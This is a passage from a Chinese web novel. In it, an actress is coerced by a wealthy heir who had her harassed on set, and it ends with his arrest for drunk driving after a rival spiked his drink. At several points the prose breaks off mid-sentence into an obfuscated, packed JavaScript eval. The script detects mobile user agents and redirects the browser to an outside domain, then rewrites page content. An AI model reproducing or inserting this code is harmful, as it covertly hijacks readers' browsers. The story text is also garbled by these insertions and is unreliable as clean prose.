“我,我从来……”不久以前的痛苦回忆涌上心头,使她的声音也发起抖来,“从来没跟你抱怨过,吃馊饭的事。” 道具组工作繁忙,做完菜不一定能马上拍摄对应的镜头,加上布景、试光、讲戏,每个环节耽误一段时间,菜很容易就放坏了。 甚至可以说,吃馊饭对演员而言是一件再正常不过的事了,连简晓夜自己都没有意识到她是在被人刻意为难。 “可是,杜琮。” 一个可怕的猜想在脑海里渐渐成型,使她毛骨悚然。 “你是怎么知道的?” 沉默,久久的沉默。 尽管简晓夜的双腿有些发麻,她还是拒绝了杜琮的搀扶,自己缓缓站起身来。 那一瞬间,她眼前有些发白,看不清杜琮的脸。 可简晓夜却觉得,她直到此刻才是真正看清了他。 “剧组的人无缘无故为难我,欺负我,都是因为得了你的授意,对吗?” 杜琮自知理亏,添了几下嘴唇,终究还是没想出狡辩的话术,只能被动保持沉默。 “你可真会打算盘啊……”简晓夜嘴角牵出一个用力的笑,眼眶却渐渐湿润,“先让他们想尽各种刁钻法子折磨我,等到我难以忍受,几近崩溃的时候,你再以救世主的姿态出现在我面前,居高临下地伸出援手,让我对你感恩戴德,对不对?” 杜琮听她控诉时,竟有些忍不住分心去欣赏她的容貌,像欣赏一件精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811165|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瓷器。瓷器嘛,即便摔碎了也是好看的,只是没什么价值,不能上手把玩了。 “你比我想象的聪明一点。”他说,用表达欣赏的语气。 简晓夜摇着头后退,不慎踩到碎玻璃,连脚步声都变得刺耳。 站在一片狼藉中,她终于和杜琮拉开了距离,虽然只有几步远。 简晓夜努力回忆着向宁带来的调查报告,回忆着那张表格里的内容。 她一字一顿,念出了几个女演员的姓名。 “你,也对她们用过这种手段吗?” 杜琮听到这几个名字,起先很是疑惑——她怎么会知道这些人? 紧接着又觉得无所谓——就算知道了,凭她,又能翻起什么风浪? “不错嘛,你比她们也聪明一点。”夸赞之余,更多是轻蔑。 简晓夜只觉得恶心,紧了紧身上披着的外套,踢开脚下的碎玻璃,转身便走。 杜琮不甘心,高声威胁道:“你现在撂下我走了,回剧组以后会面临什么,你想过吗?” 简晓夜停下脚步,头也不回:“这破戏老娘不拍了!违约金不过两倍片酬,我就算去求人借钱,也不会再任你拿捏!” 杜琮拊掌大笑:“好,好!算你有骨气,不愧是我看上的女人。” 简晓夜剜他一眼,几欲作呕,只想尽快远离这个男人。 “既然你要走,那就让向宁代你受过吧!” 杜琮说出这句话时心中无比笃定,她一定会回头。 果然不出他所料,简晓夜听到向宁的名字,好不容易平静下来的双手又开始颤抖。 她从来没有对杜琮提过向宁的名字。 杜琮满脸得意:“她不是你的亲姐姐吧?我早就调查过你,别想瞒我。” 他朝简晓夜走去,每走一步,她的心脏就被揪紧一分。 “你来听听,我说的对不对?” 杜琮含着微笑,身形微微摇晃。 “向宁,星桥娱乐公关部A组组长,你的大学同学兼室友。无父无母,有个血缘关系八竿子打不着的阿姨,不过远在国外,隔着十二个时区,根本管不到她。” 话中威胁的意图显而易见,简晓夜知道,越是这种时候,她越不能表现出对向宁有丝毫在乎。 “你对她倒是挺了解的嘛。” “那是当然。况星宸有心巴结我,我不过问了一句,他就差把向家的族谱从祖坟里挖出来献给我了。你猜,如果向宁受你牵连,被我搞丢了工作,她会不会恨你?” 简晓夜不屑地挑眉冷笑:“杜琮,你不会这么天真,以为用她就能逼我就范吧?别人都是挟天子以令诸侯,你倒好,挟个小宫女出来招摇,能威胁到谁啊?” 她相信,只要有乔煦晗在,就保得住向宁的饭碗。 杜琮先是表情一僵,又想起况星宸的话,当即反应过来她是在假装毫不在意。 “是吗?”他拿出手机,作势按了几个数字,“你可别忘了,她现在和我的保镖在一起。” 简晓夜后脑猛地一震。 杜琮眯着眼笑道:“只要我现在给保镖打个电话,那么究竟是让他送向宁回家,还是入土,可就都在我一念之间了。” 23. 薛定谔的成功 简晓夜强装镇定:“你想演□□片啊?早投胎几十年还能赶上黄金期,也不看看现在都是什么年代了!” 杜琮放声大笑,用手机抬了抬简晓夜的下巴:“该说你天真,还是可爱呢?行吧,我今天就给你科普科普——只要有钱又有势,不论什么年代,都是黄金期。想碾死一个人,跟碾死一只蚂蚁没多大分别。” 简晓夜知道杜琮爱吹牛,也清楚他这话里有不少水分,可她实在不敢拿向宁的生命安全冒险。 那些保镖个个膀大腰圆,都是练家子,就算不会真要向宁的命,让她伤筋动骨也是轻而易举的。 到时候就算立了案,杜琮也可以用钱封住保镖的嘴,追究不到他头上。 “怎么样,想清楚了吗?”杜琮已经等得不耐烦了。 简晓夜闭上眼,却拦不住泪珠滚落。 “你到底想怎么样?” 杜琮见她松口,终于露出了发自内心的笑容。 “很简单。我为了追你,花出去那么多钱,动用了那么多人脉关系。”他用手背抚过简晓夜的泪痕,“你陪我两个月,把我伺候舒服了,咱们就算两清,我也不会去找你朋友的麻烦。” 简晓夜挡开杜琮的手,睁眼恨恨看着他。 杜琮笑意更盛,仿佛得胜归来,从她手中拿走屏幕四分五裂的手机。 “不过,如果向宁还敢多管闲事,不依不饶地搅在咱们之间。我刚才的承诺,可就不作数了喔。” …… 一楼大厅,向宁仍在等待结果。 等了许久,她闲得发慌,就踩着地砖的线条走方格子,也算给自己找点事做。 “要怎么确定咱们的任务有没有成功呢?”枕安问。 向宁脚步不停:“等看到杜琮灰溜溜地离开,或者晓夜先行一步,下楼找我,就可以确定了。” 走过第三十一块地砖时,枕安急迈几步,踩在了第三十二块地砖的起点位置。 “诶,别挡路。” 向宁双手轻推他的胳膊,枕安动也不动,示意她转身往后看。 杜琮下楼了,简晓夜正陪在他身边,低垂着脑袋,脸上没有表情。 向宁一时不敢相信自己的眼睛,究竟是哪个环节出了差错? 她本想迎上去问个清楚,没想到简晓夜跟杜琮打过招呼,主动来找她了。 当然,杜琮怕她乱说话,不放心她一个人来,坚持要跟在后面,只隔着不到三块地砖的距离。 还是简晓夜先开口说话:“你怎么还没走?” 向宁不明就里,用眼神询问她是什么意思。 简晓夜取下肩上披着的外套:“衣服还你,我坐杜总的车走,不会冷。” 向宁不接外套,小声询问:“你到底在想什么啊?” 杜琮听不清她的声音,又向前走了两步。 简晓夜听到他的脚步声,便对向宁拉下脸来,把外套强行塞给她,语气冷淡:“跟你没关系,少管我,你又不是我妈。” 说完后退几步,深望向宁一眼,却唯恐自己压不住委屈的神态,连忙转过身去,大步往远处走。 正如杜琮担心的那样,向宁果然不依不饶,小跑着跟上简晓夜的步伐,抓住了她的手。 “等等!” 简晓夜的手很凉,向宁不顾她的推脱,再次帮她披上了自己的外套。 “老毛病又犯了,你的裙子没口袋,暖不了手。” 说完斜睨杜琮一眼,却不再过多纠缠了。纠缠也没用,简晓夜脾气倔,她知道的。 向宁目送着那群保镖围着简杜二人一路走远,回头一看,枕安也不知道去了哪里。 向宁抱着臂走到门外,立冬刚过不久,晚上有点冷。 门外有两段台阶,都铺着红毯,毛绒绒的,数不清一共多少级。 酒会已经结束,宾客三两成群,纷纷往下走,只有一个人逆着大流,一边打电话一边跑上台阶。 刘哥? 整晚都没见到他,原来在这啊。 对了,况星宸说他有重要任务,还说……要拉她看好戏什么的? 这都散场了,他们的好戏怎么还没开演呢?只怕又是雷声大雨点小吧。 眨眼间,刘哥已经走了上来,路过向宁时冲她点一点头,算是打了招呼。 通话仍未结束,向宁只听见他对电话另一头的人说:“放心,我绝对看清楚了,杜琮自己开了一辆车载着简晓夜,保镖都在另一辆车上。” 听到好友的名字,向宁难免好奇,于是拦住刘哥问道:“是况星宸?他打听这些干什么?” “别问我,我不知道。”刘哥对她避而不答,见这话让况星宸产生了误会,连忙解释起来,“不是说你,说小向呢,瞎打听。” 向宁拦着不让他走,刘哥起先还在想办法应对,不过很快就省了麻烦。 “况星宸让你接电话。”他把手机递给向宁,也不知道况星宸唱的这是哪一出。 “你想说什么?”她拿起手机,开门见山。 况星宸低笑几声,醉意朦胧:“我说过要请你看好戏的,当然,当然是要兑现承诺咯。” 向宁心里直打鼓:“什么好戏?你倒是说清楚啊。” 况星宸还在留悬念:“别问我,看,一会看新闻,你就知道了。” “新闻?”向宁心里愈发不安,“你到底在搞什么鬼?总得先跟我通个气吧!” 况星宸不再多说,笑着挂了电话。 向宁攥着刘哥的手机不放,质问道:“你是他的经纪人,怎么能由着他胡闹!” 刘哥也是不忿:“他要是个小艺人,我还有点话语权。可是——你也知道他是什么脾气,别说我了,换成你,你管得住吗?” 向宁不想和他打嘴仗,直奔重点:“好,不说这些。我只问你,他到底做了什么手脚,会引发什么后果?” 刘哥眼神躲闪,几度想要开口,又把话咽了回去,拒绝道:“告诉你,你跟公司打小报告怎么办?” 向宁简直要被气笑了,刘哥工作了这么多年,怎么还是小学生思维,怕人跟老师告状? “你听好了!我不在乎什么狗屁公司,我只在乎简晓夜!不管你们在搞什么鬼,只要不牵扯到她,一切都好说。可要是对她有任何负面影响,我饶不了你们!” 刘哥不敢看她的眼睛。这疯婆娘,惹急了什么事都做得出来,他是领教过的。即便虚长向宁十岁有余,刘哥还是有点怵她。 向宁把手机还给他,继续进攻:“你现在跟我说实话,我就记你的人情。要算什么账,我只跟况星宸一个人算,牵连不到你头上。” 无论况星宸给了他什么好处,眼下只要能甩脱自己的干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815805|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,刘哥就愿意开口。 “其实也不是什么大事,年轻人恶作剧而已。” “不要避重就轻。” “就,况星宸不是去跟杜琮‘和谈’,一起喝了几杯饮料嘛……” “然后呢?” “杜琮的那杯饮料里,况星宸给他加了点料。” “什么料?不要挤牙膏,一口气说完行不行!” “哦,哦。就是……一种特殊的酒精饮料,可贵了!乍喝下去没什么感觉,但是后劲特别大。差不多十五分钟发作,半个小时就能醉倒,不省人事。” 向宁脑子嗡的一下,想起刘哥刚才给况星宸报信时说过—— 杜琮开车,载着简晓夜,走了。 向宁快步跑下台阶,耳边风声阵阵,仿佛在重复刘哥刚才的话—— “这条路上车多,况星宸只是想让杜琮开着车越走越晕,最好能出点交通事故什么的……” “以他的身份,醉驾惹出乱子肯定会上新闻。听说最近是呈业集团人事变动的关键时期,这种负面新闻影响很大的。” “归根结底,杜琮也是自作自受啊,谁让他上次拍卖会的时候摆了况星宸一道。一百多万可不是小数字,况星宸当然记仇了!” “唉,其实况星宸没想坑简晓夜的,他也不知道杜琮会带她来啊!但是老话说了,箭在弦上,不得不发。今晚是况星宸报复杜琮的绝佳机会,他怎么可能为了不相干的人改变计划啊……” 眼前车来车往,向宁只觉得头疼,好像脑子里多出来一根筋,一跳一跳的抽痛。 向宁想给简晓夜打电话提醒她,可她的手机被杜琮扣着,一直关机,联系不上。 杜琮……对,杜琮!如果能联系到他,言明利害,他一定会停车的。 现在时间宝贵,每一秒都有可能出危险。 向宁不得不踏上回头路,快步朝美术馆跑去,恰好在两段台阶的交汇处碰上了出来找她的枕安。 “出什么事了?” 一看她的状态,枕安便察觉了不对劲——在他的印象里,向宁总是气定神闲,从没有露出过此刻的慌张神色。 “你有杜琮的联系方式吗?或者,能问问祝总吗?方便吗?” 她没有解释前因后果,枕安也不多问,当即给祝璋发消息询问。 向宁不敢多等,必须做好两手准备。 她飞快地跑向前台,找到负责登记宾客信息的工作人员,换上一副平静的神情。 “您好,我刚才捡到一张身份证,姓名是‘杜琮’,麻烦帮我看看,他是今晚参加酒会的客人吗?” 工作人员没有查看登记册,直接回答道:“嗯,是的。” “喔,那就好。”向宁点头笑道,“麻烦把他的电话告诉我吧,我跟他联系一下。” “抱歉,小姐,我们不能随意透露客人的信息。您可以把捡到的失物放在前台,我们会跟杜先生联系的。” 向宁继续找理由:“放在前台会不会不太安全?这里人来人往的,万一又给人家搞丢了……” 工作人员不由微笑:“您放心,我们有带锁的柜子,专门用于保管失物,不会丢的。” 听着既合理,又靠谱,再坚持下去,反而显得向宁别有用心了。 可是这个时候,让她到哪寻摸一张杜琮的身份证来啊! 24. 她的底牌 向宁硬着头皮,还想开口,忽然感觉后背一暖。回头看去,原来是枕安把他的外套披在了她肩上,带着体温,阻隔了夜晚的凉气。 她像抓住了救命稻草:“怎么样,祝总回消息了吗?” 工作人员一愣。祝总? 枕安把消息页面展示给向宁看,祝璋还没有回复,最后一条消息仍是他刚才发的:「求助,杜琮手机号,急用。」 幸而他跟在向宁老师身边旁听了几节课,学有所成,毫不心虚地扯谎道:“祝璋姐让我们直接问前台。” 向宁会意,立刻配合道:“我问了,人家有流程的,不能随便透露宾客信息。” 工作人员听到他们谈话时提到了自家老板的名字,向宁肩上的外套又别着贵客身份的标志——白鹤胸针,自然不疑有他。 “不不不,既然是祝总的意思,当然没问题。” 向宁和枕安对视一眼,会心一笑:不错,挺默契的嘛。 顺利拿到杜琮的手机号,向宁马上给他打去电话。 “嘟——嘟——嘟——您拨打的用户正在通话中,请稍后——” “嘟——嘟——您拨打的用户正在通话中——” “嘟——您拨打的用户正——” 一连打了三次都是这样的结果。 显然,杜琮不是真的正在通话中,而是铃声响起后出于各种原因不想接,或不能接电话。 不想接的概率更高,因为等待的“嘟”声一次比一次短。 果然,当向宁第四次给他打去电话,“嘟”声便不再响起,紧跟着的提示音也变了。 “您拨打的电话已关机。” 这下可好,要么是他不堪其扰,真的关了机,要么是他把这个陌生号码当成骚扰电话,直接拉黑了。 不管是哪种情况,就算向宁用其他号码继续给杜琮打电话,他也都不会接。 什么叫热锅上的蚂蚁,向宁现在可算感同身受了。 还有什么办法……快想,快点想啊…… 实在不行,就报警说有人危险驾驶,请交警尽快拦截,免得酿出大祸? 可是如果走出这一步,就相当于间接把简晓夜推到了舆论中心,营销号推文的标题会怎么写? 富二代深夜醉驾出行,车内竟有美艳女星相伴? 这样都算笔下留情了,还有百十种更加引人遐思的写法,她连想都不敢想。 拨号界面,110三个数字早已输入完毕,向宁却迟迟按不下拨号键。 “你知道杜琮住在哪里吗?”她轻声问,眼神没有聚焦,“不用很详细,有个大概的范围就行。” 如果他的居所离这里不远,简晓夜也许足够幸运,能够在他醉倒之前平安到达目的地。 可是一旦打出这个报警电话,事情一经发酵,她就真的要被四面八方的唾沫星子淹死了。 枕安担忧地看着向宁,不得不道出让她失望的答案:“他应该有不少房产。今晚带着简小姐,大概会去郊区,而不是人多眼杂的市中心。” 向宁抬起头,望着雾蒙蒙的夜空叹了口气,又重重闭上眼,决定报警。 管不了那么多了,先保证简晓夜的人身安全才是正经。就算引来媒体和网友的口诛笔伐,向宁也会想办法帮她扭转乾坤。 至少,她还有一张底牌能用呢。 拨号键近在咫尺,向宁果断按下,却扑了个空,拨号界面已然跳转到了来电界面。 在决定报警的那一刻,她接到了交警打来的电话。 …… 如果能重来一次,简晓夜一定会像躲瘟神一样躲着杜琮走,就算上网看到了和他相关的新闻也要标记“不感兴趣”。 可惜人生没有重来一次的机会。不过,她绝不会坐以待毙,任人摆布。 杜琮扣下简晓夜的手机,防得了一时,却防不了一世,她终归还是要回剧组去的。 既然能回去,就不愁拿不到录音设备,微型的,便于隐藏的。 只要能在和杜琮相处时成功套话,录到他亲口承认自己做过的事,就不愁没有绝地反击,重新谈判的机会。 他又长了一张爱吹牛的嘴,只怕对她耀武扬威起来,不但什么都会说,还要往里头添油加醋呢。 做好这些打算,简晓夜便不那么害怕了。 离开美术馆的时候,她不顾杜琮的一脸怒容,坚持要坐在后座,却被他指挥保镖强行推上了副驾。 杜琮伏在她身上给她系安全带的时候,简晓夜嫌恶地扭过头,看向不远处路灯旁监控摄像头上的红灯。 很好,杜琮,你把我当成搁浅时半死不活的鱼,我就不怕跟你拼个鱼死网破。 这里不是他的地盘,监控视频绝不会因“设备故障”而离奇消失。 不料汽车驶出没多远,简晓夜就觉得头晕。不知道怎么回事,今晚杜琮的驾驶技术急速下降,连平坦开阔的大路都开不稳了。 他自己也察觉了异常,却不知道是什么原因。努力回想一番,觉得大约是被气得狠了,所以心绪不宁? 算了,开窗通通风吧。 冷风灌进车里,空调温度也不高,杜琮倒是惬意,简晓夜却有些受不住,手脚又冰凉了几分。 这便是向宁刚才说的,她的“老毛病”——怕冷,一着凉就浑身不舒服。 好在还有那件西装外套可以挡挡风。 想到向宁,简晓夜又觉得抱歉。都怪自己轻信于人,引狼入室。向宁不但跑前跑后忙活了一晚上,还被她连累,沦为了杜琮摆在谈判桌上的筹码。 即便遭了她那样一番冷言冷语,向宁也没有生气,还把衣服留给她暖手…… 等等。 简晓夜动作一顿。 口袋里这个东西,可不像是暖手宝。 她眼神一颤,心跳倏地加快了几分,下一秒便回想起告别时,向宁皱着眉冲她眨眼的样子。 那表情有关心,也有无奈,可是除了这些,似乎还有点别的意味。 那是一种急切的暗示——你看懂了吗?你该懂的呀! 简晓夜握住口袋里那个有棱有角的东西,它体积不大,外壳是塑料材质,即便光明正大地拿出来,也不会引起杜琮的怀疑。 果然,杜琮时不时向右瞟她一眼,发现她从口袋里掏出一个黑乎乎的玩意,原本有些警惕——别是什么折叠刀、战术笔、防狼喷雾之类的东西吧? 定睛一看,哦,只是一支口红啊。啧,女人就是女人,一天到晚就知道涂脂抹粉。不过,他倒是挺受用的。 简晓夜取下口红盖子,里面的确有一截酒红色的膏体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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过马路的人不算多,但也一直未曾间断。 简晓夜的心跳很快,她正面临一个艰难的抉择。 是继续虚与委蛇,努力在维持体面的前提下找一条退路? 还是索性破釜沉舟,抓住眼前这个机会发出求救的信号,把自己剖开来摊在阳光下,给大众送上茶余饭后的谈资? 37,36,35…… 攥紧录音笔的手已经开始发麻,简晓夜微微活动着手指,忍不住去想:如果宁宁在我身边,她会劝我怎么做? 忆起二人相识这几年来,往事历历在目,向宁的声音也犹在耳畔。 “舆论能杀人,也能救人,能保护人,也能约束人。” 是啊。 祸兮福之所倚,福兮祸之所伏。 她不必怕,也不该怕。 她不愿成为下一个受害者,也不希望还有下一个受害者出现。 29,28,27…… 杜琮的手机忽然响起铃声,没有备注,是陌生号码。 谁呢?他想。 简晓夜敏锐捕捉到了他的分心时刻,决定抓住这个机会,发出求救的信号。 25. 化险为夷 趁着杜琮分心的这几秒空闲,简晓夜按下车窗,伸出头朝不远处的路人高声喊道:“救命啊!帮我报警!救命啊——” 杜琮反应过来,急忙挂掉电话,抓住简晓夜的头发使劲往里扯,同时升起车窗,自以为能堵住她向外求救的道路,殊不知这只是徒劳。 16,15,14…… 倒计时数字在杜琮眼中越走越慢,车窗外指指点点的动作和好奇的目光更使他如坐针毡。 简晓夜仍不放弃,一手护住自己的头发,另一只手胡乱拍砸车窗,口中不住叫道:“杜琮!你放手!” 杜琮掐住她的后颈,本想再威胁几句,让她安分点,却不知怎么的,忽然感到一阵眩晕。 伴着第二次响起的手机铃声,他心里愈发急躁。 大爷的,不等了,闯个红灯而已,从手指缝里漏些碎银子打点一下不就行了。 下一秒,刺耳的汽车喇叭声骤然响起,斑马线上的行人加快了步伐,杜琮放下顾虑,将车直直开向前方,闯了红灯。保镖的车晚走一步,等绿灯亮了才加速跟上。 难闻的尾气味久久不散,围观的行人分立道路两旁。 几个大学生聚成一团,面露焦急,在电话里凭印象回答着接警员的问题。 一对父子从她们身旁经过,小孩扯住父亲的衣角:“爸爸,阿姨说帮她报警!” 父亲抱起孩子,加快了步伐,对小家伙苦口婆心道:“小孩子家家,一点社会经验都没有,别学人家凑热闹。看见刚才那车标和车牌号了吗?一看就非富即贵,不是咱们惹得起的。” 小孩还想坚持,父亲却已经换了话题,开始跟孩子科普豪车的品牌、等级、价位等知识,俨然一副慈父做派。 至于杜琮,自然希望冷眼旁观的人越多越好。 可是当他将车开到下一个路口,拦路的便不再是红灯,而是交警了。 还不止一位。 乍见此景,杜琮的第一反应便是——前面出什么交通事故了吗? 可是眼看同方向的其他车也照开无误,并没有人拦着不让走,杜琮便心下了然——看来真有多管闲事的人报警了。 可是,好像也不对啊!就算报警,也不可能把电话打给交警吧! 杜琮一时想不出个所以然,只是恶狠狠地看向简晓夜,打算临阵告诫几句,让她别找麻烦。 可是不等他开口,简晓夜便开始拍打车窗,流着泪呼喊道:“警察同志!救救我!” 其实在她自己看来,这两行泪水的本质是守得云开见月明的喜悦。可是既然走到了这一步,就必须表演出一副悲愤交加的委屈样子,博取同情的同时,也能为不久以后的舆论战铺垫一二。 交警见此情形也有点懵,刚才之所以拦杜琮的车,只是因为他超速超得太夸张,没想到这人还疑似有其他不法行为。 在交警的命令下,杜琮不情不愿地打开车门,却拒不下车,故作轻松地笑道:“别听她胡说八道,我女朋友跟我闹脾气呢。” 简晓夜来不及下车便急着反驳道:“是他威胁我上车的!警察同志,我有证据!我有录音证据!” 杜琮听到“录音”二字,仿佛PTSD发作一般,后背爬上一层鸡皮疙瘩:“你胡说什么!” 她的手机不是一直被他扣着吗!?保镖也检查过她的手包,里面没有任何电子设备啊! 此刻他被酒精泡过的大脑已经丧失了思考能力,只是机械般发送着重复的消息——不可能,她撒谎,不可能,她撒谎…… 与此同时,一名交警发现简晓夜有些眼熟,像是明星,却不太叫得上名字,只记得前几天在热搜上见过。 情况特殊,他立即用对讲机跟队长做了汇报,紧接着走到保镖的车旁,敲窗道:“这里不让停车,赶紧开走。” 面对这种情况,众保镖不得不做出决定,由一人把车开走,其余的人留下观望。 这边自有一阵扯皮,那边面对呆若木鸡的杜琮,交警也容不得他继续拖延,神情严肃道:“请下车接受检查。” 杜琮还在硬撑:“接受什么检查!我们感情纠纷,什么时候归交警管了?” 简晓夜此时已从另一侧下了车,发丝凌乱,楚楚可怜道:“警察同志,我的手机被他抢走了……” 交警不消多问,一看杜琮恼羞成怒的表情便知道这话属实,于是厉声斥道:“拿出来!” 杜琮仍在抵赖,还高声叫道:“滚蛋!你们知道我爸是谁吗!?你们的饭碗还想不想要了!?” “小武,给他做酒精测试!” 众人循着清亮的声音望去,只见一名英姿飒爽的中年女警大步流星走上前来,正是刚才接到汇报的交警队长。 “测,测个头你测!”杜琮理直气壮,“老子没喝酒!” 术业有专攻,交警队长有多年的工作经验加持,一眼就看出他喝醉了,也不多啰嗦,直接拿起酒精测试仪。 “对准,吹一下。” “吹你大爷!” “请配合我们的工作。” 杜琮靠着车门不屑一笑,怕她刚才缺席了没听见,还重复道:“你知道我爸是谁吗?” 交警队长面无表情:“你爸知道你在这里跟警察叫板吗?” 杜琮张了张嘴,似乎无话可说,有些心虚。 交警队长继续攻心:“刚才不是还信誓旦旦说没喝酒吗?那就吹一下,走个流程。要是没问题,我们马上放人。” “吹,吹就吹。” 杜琮自信满满,长吹一口气,抖着腿等待结果。 交警队长眼皮一落一抬,中气十足道:“82,够醉驾了,带走。” 杜琮双眼倏地瞪大:“不可能!你们合伙整我!” 简晓夜也强压着震惊,心道:怎么会!?我不是一直看着没让他喝酒吗?难道错拿了酒精饮料?那也不会吹出82这么高的数字啊…… 她一方面觉得惊喜,这下警方可以顺理成章地介入此案,她不用再费心思了;另一方面又觉得后怕,好险,坐在醉汉开的车上,没出事故真是万幸。 杜琮已被两名交警从车上拖了下来,口中仍高叫着:“不可能!你们陷害我!你们和她是一伙的!” 交警队长不为所动,照章办事:“你不认可这个测试结果是吧?” “不认!鬼才认!” “行,那就带去验血。” 杜琮还想抵抗,却被对方一句“再胡闹就给你上铐子”给吓了回去。被带走前急忙给守在不远处的保镖下达指令,让他们去找祝老爷子帮忙。 事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825895|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情告一段落,简晓夜终于拿回了自己的手机,然而它已经被摔坏,无法开机了。 幸好向宁的几个手机号她都倒背如流。 等交警队长帮她联系完向宁,四周的围观群众已经越聚越多,十个里有九个都拿着手机做起了“一日记者”。而剩下的那几个,原本就是闻风赶来的专业娱记。 挂掉电话,交警队长拿起对讲机问答几句,接着转述了重要信息。 “简小姐,刚才有几个学生报了绑架案,派出所的同志马上就到,麻烦先去我们的车上等一等吧,配合做个笔录。” …… 午夜时分,无章美术馆三楼,枕安敲了敲办公室的门。 “进。”是祝璋的声音。 枕安走进门,靠在门板上,环顾四周,只见况星宸烂醉如泥,毫无形象地睡在地毯上。 祝璋熄了烟,仍旧低着头,正在审阅文件。 “你怎么来了?” 枕安用问句回答问句,却是答非所问:“况星宸今晚做的事,你事先知情吗?” 祝璋眼神一顿,抬起头:“你是在兴师问罪吗?怪我不加劝阻?” 枕安不说话。其实,何须多问呢?在她久久不回消息,暗示拒绝告知杜琮手机号的时候,他就有了预感。 “能问出这种问题,你是第一天认识我吗?”祝璋靠在椅背上,坦然道,“别说劝阻了,就算况星宸突发失心疯,要一刀捅死杜琮,我也乐得坐观鹬蚌相争,没义务帮他们改生死簿续命。” 况星宸许是睡得香了,这时竟打起了呼噜。 祝璋最烦噪音,抓起手边的笔筒朝况星宸一扔,正砸在他后背上,呼噜声随之戛然而止。 “你知道简晓夜也在车上吗?”枕安问。 “那是谁?” “杜琮今晚的女伴。” “哦。”祝璋再次低头去看文件,“她跟你有什么关系?” “她是她的朋友。” 枕安无需解释,祝璋也知道第二个“她”指的是向宁。 思维再转个弯,很快就反应过来了。 “所以呢?你是怕万一出了事,向宁会因为况星宸而迁怒于我,再因为我而迁怒于你吗?” 这话她说着都觉得离谱,枕安当然也不是这么想的。 祝璋见他摇头否认,便把一叠文件扔到旁边:“那你又何必跑到我面前演事后诸葛?” 枕安跨过横在地上的况星宸,走到办公桌前。 “不迁怒,就不是无辜的人命了吗?” 祝璋闻言沉默许久,站起来背过身去。 她不知道该怎么回答。 她也没料到况星宸对杜琮的报复行为会牵扯到其他人。 不过,杜琮的保镖里有她的眼线,如果出了事,他会发消息来报信的。 嗡嗡。 想什么来什么,祝璋的手机振动两下,是短信提示。 枕安向前一步,目光牢牢锁住她的手机。 是一语成谶,还是逢凶化吉,似乎就要见分晓了。 然而祝璋读完短信,并没有立刻将内容转述给枕安,只是顶着他急切的目光,扶着椅背坐了回去。 “人没事。”她从抽屉里拿出车钥匙扔给枕安,“找个理由,献你的殷勤去吧。” 26. 舆论战场 听闻向宁已经赶到现场的消息,简晓夜随即跃下警车,红着眼快跑几步,在明里暗里近百个镜头的注视下扑进她怀中,失声痛哭起来。 向宁垂眸环住她的腰,用只有彼此能听见的声音问道:“真哭假哭?” 简晓夜在她面前无可讳言:“真假掺半。” 或者说,刚开始表演性质更多一点,见到向宁以后却是真的想哭,眼泪很快就随着心里的委屈一起泄洪了。 向宁一手抚上简晓夜的脑袋,作安慰状,顺势帮她调整了面部角度:“把嘴藏起来再说话,小心有眼尖的人逐帧分析狗仔的视频,读你的唇语。” 简晓夜从善如流,又问:“你怎么不藏?” 向宁咬字略显模糊:“你没听出来吗?我一直在控制口型啊,嘴唇僵得跟嵌了钢板一样。” 简晓夜闻言险些破涕为笑,连忙把脸埋得更低了。 “简女士,咱们走吧,尽快做一下笔录。”一名年轻警员上前出言提醒。 简晓夜十分配合地回到了警车上,扭头一看,向宁不知怎么回事,竟朝相反的方向走了。 目光一路追随,只见向宁找到刚才那几位交警说了些话,又在手机上敲了些字,耽搁了几分钟才回到简晓夜身边。 一上车,向宁便对几位警员连声道谢,并问起对方的姓名。 简晓夜不解其意,又怕她冒犯到警察,于是不安地扯了扯向宁的衣角,压低声音问道:“还是别瞎打听吧……” 向宁失笑:“你怕什么呀?我又不是要干坏事。” 副驾上的年轻警员和颜悦色道:“没事,我们的名字不是国家机密,能问。” 后座上一直在安抚简晓夜的女警也笑了笑:“我姓许,他姓林,开车的是我们队长,宋警官。” 向宁打开手机备忘录,追问道:“方便讲一下全名吗?我们回头给各位送几面锦旗,要是只写姓氏,感觉指向性不是很明确。” 此话一出,两名年轻警员都有些不好意思接茬,还是安静了许久的宋警官率先出言婉拒:“嗨,别破费了。” 